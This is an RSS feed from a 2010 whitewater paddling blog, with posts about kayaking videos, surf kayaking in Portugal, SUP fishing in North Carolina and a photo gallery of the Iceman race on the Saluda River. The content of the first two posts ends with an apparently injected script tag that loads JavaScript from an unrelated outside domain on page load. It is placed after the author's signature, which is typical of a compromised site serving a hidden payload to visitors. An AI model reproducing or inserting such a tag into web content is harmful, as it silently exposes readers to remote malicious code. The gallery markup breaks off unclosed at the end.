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<channel>
	<title>Effort.tv &#187; Paddling</title>
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	<link>http://effort.tv</link>
	<description>Were you looking for Effort TV?  Sorry, there's no TV here, just the internet.  You are visiting Effort.TV [ef-ert] [dot] [tee-vee]</description>
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			<item>
		<title>The latest videos from Effort Inc</title>
		<link>http://effort.tv/2010/03/the-latest-videos-from-effort-inc/</link>
		<comments>http://effort.tv/2010/03/the-latest-videos-from-effort-inc/#comments</comments>
		<pubDate>Sun, 21 Mar 2010 02:05:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[athlete]]></category>
		<category><![CDATA[gorge]]></category>
		<category><![CDATA[heehaw]]></category>
		<category><![CDATA[helmets]]></category>
		<category><![CDATA[immersion]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[jones]]></category>
		<category><![CDATA[kayaking]]></category>
		<category><![CDATA[linville]]></category>
		<category><![CDATA[professional]]></category>
		<category><![CDATA[ready]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[shred]]></category>
		<category><![CDATA[Whitewater]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=1115</guid>
		<description><![CDATA[Recently I put together some archived helmetcam footage from the Linville Gorge along with a commentary from my co-producer and myself.

Heehaw Jones strikes back with three new videos about Immersion Research and Shred Ready.



Thanks,
Spencer Cooke, Effort Inc.
]]></description>
			<content:encoded><![CDATA[<p>Recently I put together some archived helmetcam footage from the Linville Gorge along with a commentary from my co-producer and myself.<br />
<object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/3hjO1xtybjE&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/3hjO1xtybjE&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Heehaw Jones strikes back with three new videos about Immersion Research and Shred Ready.<br />
<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/Z-a7UWKmxRE&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Z-a7UWKmxRE&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/UjC04yphMm0&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/UjC04yphMm0&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/dCXC9R647Uc&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/dCXC9R647Uc&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p>Thanks,<br />
Spencer Cooke, Effort Inc.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://effort.tv/2010/03/the-latest-videos-from-effort-inc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Two new videos; Portugal Surfing &amp; North Carolina Paddlefishing</title>
		<link>http://effort.tv/2010/01/two-new-videos-portugal-surfing-north-carolina-paddlefishing/</link>
		<comments>http://effort.tv/2010/01/two-new-videos-portugal-surfing-north-carolina-paddlefishing/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 19:42:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[beach]]></category>
		<category><![CDATA[championships]]></category>
		<category><![CDATA[Chris]]></category>
		<category><![CDATA[cloak/dagger]]></category>
		<category><![CDATA[cruz]]></category>
		<category><![CDATA[fishing]]></category>
		<category><![CDATA[flounder]]></category>
		<category><![CDATA[highlights]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[idea]]></category>
		<category><![CDATA[jade]]></category>
		<category><![CDATA[line]]></category>
		<category><![CDATA[lovin]]></category>
		<category><![CDATA[native]]></category>
		<category><![CDATA[nc]]></category>
		<category><![CDATA[no]]></category>
		<category><![CDATA[paddle]]></category>
		<category><![CDATA[portugal]]></category>
		<category><![CDATA[pr]]></category>
		<category><![CDATA[records]]></category>
		<category><![CDATA[santa]]></category>
		<category><![CDATA[southern]]></category>
		<category><![CDATA[sup]]></category>
		<category><![CDATA[Surf]]></category>
		<category><![CDATA[tree]]></category>
		<category><![CDATA[ultimate]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[wilmington]]></category>
		<category><![CDATA[wollard]]></category>
		<category><![CDATA[world]]></category>
		<category><![CDATA[wrightsville]]></category>
		<category><![CDATA[yolo]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=1063</guid>
		<description><![CDATA[Recently I produced two short videos for RapidTransitVideo.com and wanted to share them with those who may not have seen them already.
SURF KAYAKING in PORTUGAL
I competed on the US East Kayak Surf Team at the World Championships in 2009.  This video is just the tip of the iceberg in regards to the amount of footage [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I produced two short videos for RapidTransitVideo.com and wanted to share them with those who may not have seen them already.</p>
<p><strong>SURF KAYAKING in PORTUGAL</strong><br />
I competed on the US East Kayak Surf Team at the World Championships in 2009.  This video is just the tip of the iceberg in regards to the amount of footage I shot.  Hopefully it gives those of you who helped me get to Portugal an idea of what surf kayaking is, and what kind of incredible talent exists in the sport.  You might also see that some of the competitors do not take themselves too seriously.</p>
<p><object width="560" height="340" data="http://www.youtube.com/v/McLKQ6Z0PX0&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/McLKQ6Z0PX0&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
<p>Soundtrack provided by Richmond VA&#8217;s Cloak/Dagger<br />
Preview the album at JadeTree.com<br />
<a href="http://jadetree.com/releases/product/JT1128">http://jadetree.com/releases/product/JT1128</a><br />
or<br />
Buy it on iTunes<br />
<a href="http://itunes.apple.com/us/artist/cloak-dagger/id252141700">http://itunes.apple.com/us/artist/cloak-dagger/id252141700 </a></p>
<p><strong>FISHING from KAYAKS and STANDUP PADDLEBOARDS</strong><br />
Hook, Line &amp; Paddle is a paddling retail shop located in Wilmington NC, close to Wrightsville Beach.  Every Sunday morning Chris and Ryan, shop owners, head out at dawn for a kayak and SUP (Standup Paddleboard) fishing trip.  I was lucky enough to go with them one day last fall and it was an absolute blast.  These guys have carved out a really cool niche for themselves.  Maybe tons of people are fishing off of SUPs, but I haven&#8217;t seen it before.</p>
<p><object width="560" height="340" data="http://www.youtube.com/v/8nHBPT6iZwA&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/8nHBPT6iZwA&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object><br />
Check these guys out at <a title="Hook Line and Paddle" href="http://www.hooklineandpaddle.com/">HookLineAndPaddle.com</a></p>
<p>Music in the video is by <strong>Chris Wollard and the Ship Thieves</strong>.  This is one of my favorite albums over the past couple years.  Find them out at the following links:<br />
Southern Lovin&#8217; PR<br />
<a href="http://www.southernlovin.com/family/chris-wollard-the-ship-thieves">http://www.southernlovin.com/family/chris-wollard-the-ship-thieves</a><br />
No Idea Records<br />
<a href="http://www.noidearecords.com/bands/releases/chriswollard_shipthieves.php">http://www.noidearecords.com/bands/releases/chriswollard_shipthieves.php</a><br />
iTunes<br />
<a href="http://itunes.apple.com/us/album/chris-wollard-and-the-ship-thieves/id292406243">http://itunes.apple.com/us/album/chris-wollard-and-the-ship-thieves/id292406243</a></p>
<p>Thanks,</p>
<p>Spencer Cooke<br />
<a title="Effort.tv" href="http://effort.tv">Effort Inc</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://effort.tv/2010/01/two-new-videos-portugal-surfing-north-carolina-paddlefishing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ice Ice Baby: Saluda River in Columbia SC</title>
		<link>http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/</link>
		<comments>http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 02:44:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[2010]]></category>
		<category><![CDATA[andrew holcombe]]></category>
		<category><![CDATA[andy]]></category>
		<category><![CDATA[boys]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[championships]]></category>
		<category><![CDATA[chris gallaway]]></category>
		<category><![CDATA[chris wing]]></category>
		<category><![CDATA[columbia]]></category>
		<category><![CDATA[dagger kayaks]]></category>
		<category><![CDATA[grizzell]]></category>
		<category><![CDATA[iceman]]></category>
		<category><![CDATA[joey hall]]></category>
		<category><![CDATA[massacre]]></category>
		<category><![CDATA[millrace]]></category>
		<category><![CDATA[river]]></category>
		<category><![CDATA[rivers]]></category>
		<category><![CDATA[saluda]]></category>
		<category><![CDATA[sc]]></category>
		<category><![CDATA[snowy robertson]]></category>
		<category><![CDATA[wave sport kayaks]]></category>
		<category><![CDATA[Whitewater]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=870</guid>
		<description><![CDATA[See all the photos in the gallery below.  If you&#8217;d like to take your photo(s) from this page and post them on your website, blog or facebook please feel free.  All I ask is that you credit Effort.tv

]]></description>
			<content:encoded><![CDATA[<div id="attachment_891" class="wp-caption alignnone" style="width: 577px"><img class="size-full wp-image-891" title="icemanshirtfront" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtfront.jpg" alt="icemanshirtfront" width="567" height="240" /><p class="wp-caption-text">With temperatures soaring into the balmy 30&#39;s the 2010 Iceman Kayak Race truly lived up to its name.</p></div>
<div id="attachment_880" class="wp-caption alignnone" style="width: 684px"><img class="size-full wp-image-880" title="scan-100116-0010" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0010.jpg" alt="Andrew Holcombe takes an afternoon siesta halfway through his winning race run in the 2010 Millrace Massacre.  Yes, he's that good." width="674" height="430" /><p class="wp-caption-text">Andrew Holcombe takes an afternoon siesta halfway through his winning race run in the 2010 Millrace Massacre.  Yes, he&#39;s that good.</p></div>
<div id="attachment_893" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-893" title="img_8808" src="http://effort.tv/wp-content/uploads/2010/01/img_8808.jpg" alt="Phil and a few other lucky contestants got to feel a splash of cold water, or two.  The hydraulic known as &quot;Dumbass&quot; was fairly sticky at this year's race." width="640" height="480" /><p class="wp-caption-text">Phil and a few other lucky contestants got to feel a splash of cold water, or two.  The hydraulic known as &quot;Dumbass&quot; was fairly sticky at this year&#39;s race.  Way to hang in there Phil!</p></div>
<div id="attachment_894" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-894" title="img_8847" src="http://effort.tv/wp-content/uploads/2010/01/img_8847.jpg" alt="Thanks to Master of Ceremonies Andy Grizzell for successfully pulling of the biggest and best Iceman Championships yet, the 10th Annual!" width="640" height="480" /><p class="wp-caption-text">Thanks to the Master of Ceremonies, Andy Grizzell, for successfully pulling off the biggest and best Iceman Championships yet, the 10th Annual!</p></div>
<div id="attachment_892" class="wp-caption alignnone" style="width: 450px"><img class="size-full wp-image-892" title="icemanshirtback" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtback.jpg" alt="This year's Iceman tshirts were a real hit - Design Courtesy of Joey Hall DeadmanProductions.com" width="440" height="470" /><p class="wp-caption-text">This year&#39;s Iceman tshirts were a real hit - Design Courtesy of Joey Hall DeadmanProductions.com and George Lucas</p></div>
<p>See all the photos in the gallery below.  If you&#8217;d like to take your photo(s) from this page and post them on your website, blog or facebook please feel free.  All I ask is that you credit Effort.tv</p>
<p>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0001/' title='scan-100116-0001'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0001-150x150.jpg" class="attachment-thumbnail" alt="Race Organizer Andy Grizzell and his mighty bullhorn cast an imminent shadow over racers and spectators" title="scan-100116-0001" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0002/' title='scan-100116-0002'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0002-150x150.jpg" class="attachment-thumbnail" alt="Iceman competitors trying to keep up with the pack below Millrace" title="scan-100116-0002" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0003/' title='scan-100116-0003'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0003-150x150.jpg" class="attachment-thumbnail" alt="Icemen and Icewomen charge down into Millrace Rapid" title="scan-100116-0003" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0004/' title='scan-100116-0004'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0004-150x150.jpg" class="attachment-thumbnail" alt="Sited spectators enjoy the tube race spectacle" title="scan-100116-0004" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0005/' title='scan-100116-0005'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0005-150x150.jpg" class="attachment-thumbnail" alt="Chris Wing-ding-dang-diddly-doo" title="scan-100116-0005" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0006/' title='scan-100116-0006'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0006-150x150.jpg" class="attachment-thumbnail" alt="Chris Wing approaches Square Eddy" title="scan-100116-0006" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0007/' title='scan-100116-0007'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0007-150x150.jpg" class="attachment-thumbnail" alt="Snowy Robertson yelled something about Ricky Bobby as he entered Square Eddy" title="scan-100116-0007" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0008/' title='scan-100116-0008'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0008-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe carries a confident lead through Millrace in the Iceman Race." title="scan-100116-0008" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0009/' title='scan-100116-0009'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0009-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe peels out of Square Eddy" title="scan-100116-0009" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0010/' title='scan-100116-0010'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0010-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe takes an afternoon siesta halfway through his winning race run in the 2010 Millrace Massacre.  Yes, he&#039;s that good." title="scan-100116-0010" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0011/' title='scan-100116-0011'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0011-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe drops into Square Eddy" title="scan-100116-0011" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0012/' title='scan-100116-0012'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0012-150x150.jpg" class="attachment-thumbnail" alt="A serious Chris Wing paddles the Millrace with meaning" title="scan-100116-0012" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0013/' title='scan-100116-0013'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0013-150x150.jpg" class="attachment-thumbnail" alt="A paddler rounds the turn into Square Eddy" title="scan-100116-0013" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0014/' title='scan-100116-0014'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0014-150x150.jpg" class="attachment-thumbnail" alt="A paddler peels out of Square Eddy" title="scan-100116-0014" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0015/' title='scan-100116-0015'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0015-150x150.jpg" class="attachment-thumbnail" alt="Steve Augustine rescues his rescuer" title="scan-100116-0015" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0016/' title='scan-100116-0016'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0016-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe rounds the next to last obstacle in Millrace" title="scan-100116-0016" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0017/' title='scan-100116-0017'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0017-150x150.jpg" class="attachment-thumbnail" alt="Chris Gallaway throws spray off of the Square Eddyline" title="scan-100116-0017" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0018/' title='scan-100116-0018'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0018-150x150.jpg" class="attachment-thumbnail" alt="Chris Gallaway approaches square eddy" title="scan-100116-0018" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/icemanshirtfront/' title='icemanshirtfront'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtfront-150x150.jpg" class="attachment-thumbnail" alt="" title="icemanshirtfront" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/icemanshirtback/' title='icemanshirtback'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtback-150x150.jpg" class="attachment-thumbnail" alt="This year&#039;s Iceman tshirts were a real hit - Design Courtesy of Joey Hall DeadmanProductions.com" title="icemanshirtback" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8808/' title='img_8808'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8808-150x150.jpg" class="attachment-thumbnail" alt="Phil and a few other lucky contestants got to feel a splash of cold water, or two.  The hydraulic known as &quot;Dumbass&quot; was fairly sticky at this year&#039;s race." title="img_8808" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8847/' title='img_8847'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8847-150x150.jpg" class="attachment-thumbnail" alt="Thanks to Master of Ceremonies Andy Grizzell for successfully pulling of the biggest and best Iceman Championships yet, the 10th Annual!" title="img_8847" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8775/' title='img_8775'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8775-150x150.jpg" class="attachment-thumbnail" alt="Chris Gallaway ties the boats on to head down to the race." title="img_8775" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8776/' title='img_8776'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8776-150x150.jpg" class="attachment-thumbnail" alt="I-26 drops off the side of the earth heading down to SC" title="img_8776" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8778/' title='img_8778'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8778-150x150.jpg" class="attachment-thumbnail" alt="Here&#039;s a nice picture of two pimples on my face" title="img_8778" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8780/' title='img_8780'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8780-150x150.jpg" class="attachment-thumbnail" alt="The event site" title="img_8780" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8783/' title='img_8783'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8783-150x150.jpg" class="attachment-thumbnail" alt="Shredders ran safety for the racers" title="img_8783" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8785/' title='img_8785'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8785-150x150.jpg" class="attachment-thumbnail" alt="Sited and excited spectators" title="img_8785" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8787/' title='img_8787'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8787-150x150.jpg" class="attachment-thumbnail" alt="Troops rallied above the Millrace" title="img_8787" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8788/' title='img_8788'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8788-150x150.jpg" class="attachment-thumbnail" alt="Chris Wing hits the ferry out of Square Eddy" title="img_8788" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8790/' title='img_8790'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8790-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe displays proper stroke technique" title="img_8790" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8791/' title='img_8791'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8791-150x150.jpg" class="attachment-thumbnail" alt="Andrew properly stroking his way to 1st place" title="img_8791" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8792/' title='img_8792'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8792-150x150.jpg" class="attachment-thumbnail" alt="Ryan drops down into Square Eddy" title="img_8792" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8793/' title='img_8793'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8793-150x150.jpg" class="attachment-thumbnail" alt="Ryan hits the right side of Dumbass" title="img_8793" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8794/' title='img_8794'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8794-150x150.jpg" class="attachment-thumbnail" alt="Steve Augustine brings it down into Square Eddy" title="img_8794" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8795/' title='img_8795'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8795-150x150.jpg" class="attachment-thumbnail" alt="Oops, stuck in Dumbass" title="img_8795" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8796/' title='img_8796'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8796-150x150.jpg" class="attachment-thumbnail" alt="Still stuck but in control" title="img_8796" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8797/' title='img_8797'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8797-150x150.jpg" class="attachment-thumbnail" alt="Steve A claws his way out of Dumbass" title="img_8797" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8798/' title='img_8798'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8798-150x150.jpg" class="attachment-thumbnail" alt="Steve A tags the rock below Square Eddy" title="img_8798" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8799/' title='img_8799'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8799-150x150.jpg" class="attachment-thumbnail" alt="But alas Dumbass was still hungry" title="img_8799" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8800/' title='img_8800'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8800-150x150.jpg" class="attachment-thumbnail" alt="Pat rescues Steve" title="img_8800" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8801/' title='img_8801'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8801-150x150.jpg" class="attachment-thumbnail" alt="Pat continues to rescue Steve" title="img_8801" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8802/' title='img_8802'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8802-150x150.jpg" class="attachment-thumbnail" alt="Neil comes down for a visit in Square Eddy" title="img_8802" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8803/' title='img_8803'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8803-150x150.jpg" class="attachment-thumbnail" alt="Neil listens for fish.  Shhhh, they&#039;re sleeping!" title="img_8803" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8804/' title='img_8804'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8804-150x150.jpg" class="attachment-thumbnail" alt="LVM Brotha&#039;" title="img_8804" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8805/' title='img_8805'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8805-150x150.jpg" class="attachment-thumbnail" alt="Thanks for setting safety ladies!" title="img_8805" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8806/' title='img_8806'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8806-150x150.jpg" class="attachment-thumbnail" alt="Andrew came back up to help with some safety" title="img_8806" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8807/' title='img_8807'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8807-150x150.jpg" class="attachment-thumbnail" alt="His best side" title="img_8807" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8809/' title='img_8809'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8809-150x150.jpg" class="attachment-thumbnail" alt="It&#039;s shorty season once it gets above freezing" title="img_8809" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8813/' title='img_8813'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8813-150x150.jpg" class="attachment-thumbnail" alt="Check out this crazy thing on my helmet!" title="img_8813" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8814/' title='img_8814'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8814-150x150.jpg" class="attachment-thumbnail" alt="Dude, you got water on my lens" title="img_8814" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8816/' title='img_8816'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8816-150x150.jpg" class="attachment-thumbnail" alt="Come on down big buddy" title="img_8816" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8817/' title='img_8817'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8817-150x150.jpg" class="attachment-thumbnail" alt="Jack and Ass" title="img_8817" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8818/' title='img_8818'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8818-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe always smiles" title="img_8818" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8819/' title='img_8819'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8819-150x150.jpg" class="attachment-thumbnail" alt="Andrew and Mike Scarborough reminisce about their fraternity days" title="img_8819" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8820/' title='img_8820'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8820-150x150.jpg" class="attachment-thumbnail" alt="Cory you gotta get mad to get outta there" title="img_8820" /></a>
